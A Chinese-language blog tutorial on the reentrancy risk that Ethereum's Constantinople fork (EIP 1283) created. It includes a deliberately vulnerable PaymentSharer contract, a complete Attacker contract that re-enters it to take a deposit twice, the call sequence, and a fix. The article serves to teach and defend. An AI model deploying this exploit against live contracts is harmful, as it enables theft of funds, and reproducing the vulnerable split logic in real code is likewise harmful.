君士坦丁堡分叉引起的安全問題
目錄
- 君士坦丁堡分叉引起的安全問題
- 一. 什麽是君士坦丁堡分叉
- 二. 一個重入合約
- 三. 一份嘗試攻擊的合約
- 四. 組合調用
- 分叉之前
- 分叉之後
- 調用順序
- 五. 如何解決
君士坦丁堡分叉引起的安全問題
一. 什麽是君士坦丁堡分叉
君士坦丁堡是最近以太坊的大事,主要做了一下改進
- EIP 145:由兩位以太坊開發人員Alex Beregszaszi 和 Pawel Bylica編寫的技術升級,EIP 145詳細描述了一種更有效的以太坊信息處理方案,其稱為逐位移動(bitwise shifting);
- EIP 1052:由以太坊core開發人員Nick Johnson和Bylica所撰寫,1052提供了一種優化以太坊網絡大規模代碼執行的方法。
- EIP 1283:由Johnson撰寫,其基於EIP 1087,這一提議主要了引入了一種針對數據存儲更改更公平的定價方法,這可以讓智能合約開發者受益。
- EIP 1014:由以太坊創始人Vitalik Buterin親自創建,此升級的目的是更好地促進基於狀態通道和鏈外(off-chain)交易的擴容解決方案。
- EIP 1234:由以太坊主要客戶端 Parity發布經理 Afri Schoedon所倡導,這也是以太坊此次升級中最具爭議的部分,它會使以太坊網絡的區塊獎勵從3ETH減少到2ETH,此外還會延遲難度炸彈12個月的時間。
其中EIP 1283 最重要的改動就是對於修改合約內容更加便宜了,原來修改非0內容的地址需要5000gas,現在只需要200gas.
//第一次寫入
Contract.A=300 //花費20000gas
//第二次寫入
Contract.A=500 //花費5000gas,如果是君士坦丁堡分叉以後只有200gas.
這對於DAPP而言肯定是好事,降低了DAPP的成本.但是意外卻引入了安全風險.
二. 一個重入合約
一份雙方協調分成的合約,簡化起見,裏面很多安全問題沒檢查,比如updateSplit應該只能參與雙方更新.
//PaymentSharer.sol pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } function deposit(uint id) public payable { deposits[id] += msg.value; } function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; a.transfer(depo * splits[id] / 100); //transfer 給2100 gas執行事務 b.transfer(depo * (100 - splits[id]) / 100); } }
雙方協商一致,調用updateSplit,定下各自應得多少比例.然後就可以調用splitFunds,分別拿走各自的ether.
這在君士坦丁堡分叉之前,是非常安全的.
三. 一份嘗試攻擊的合約
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
PaymentSharer x = PaymentSharer(victim);
x.updateSplit(0,0); //修改split,這樣下b.transfer就不再是transfer 0,達到雙倍收益.
}
//從合約中拿走全部ether
function drain() external {
owner.transfer(address(this).balance);
}
}
四. 組合調用
- PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
- PaymentSharer.deposit(0) value=1ether
- Attacker.attack(PaymentSharer)
最關鍵的是第三步的調用順序:
attack-->updateSplit-->attack--->splitFunds(a全得,b沒有)--->a.transfer--->Attacker‘s fallback--->updateSplit(a沒有,b全得)-->b.transfer
最終a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是後入,而不是預想的只有拿走全部.
分叉之前
合約中調用transfer函數的gas是固定的,只能是2300,無法改動. 而Attacker‘s fallback 函數中調用updateSplit, 其中 splits[id] = split;
這一句話就會消耗5000gas,因此attack這個Tx會失敗.
分叉之後
splits[id] = split;
只會消耗gas200,因此有足夠的gas來執行updateSplit, 所以a.transfer會成功,然後b.transfer自然也會成功.
調用順序
五. 如何解決
針對這個問題解決起來非常簡單.下面就是一種修正方法.
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
uint s=splits[id];
a.transfer(depo * s / 100); //transfer 給2100 gas執行事務
b.transfer(depo * (100 - s) / 100);
}
這樣就算是Attacker有了重入的機會,可以執行代碼,也不會有任何額外收益. 應該說合約的設計者已經考慮到a.transfer的重入問題,先修改了deposits[id],而不是放在transfer之後,但是仍然百密一疏.
合約一旦發布就無法修改,但是EVM規則卻可以通過分叉修改,可以解決以後的問題,但是卻不能修復已經發布的合約.
本來參考了一下文章
Constantinople enables new Reentrancy Attack
君士坦丁堡分叉引起的安全問題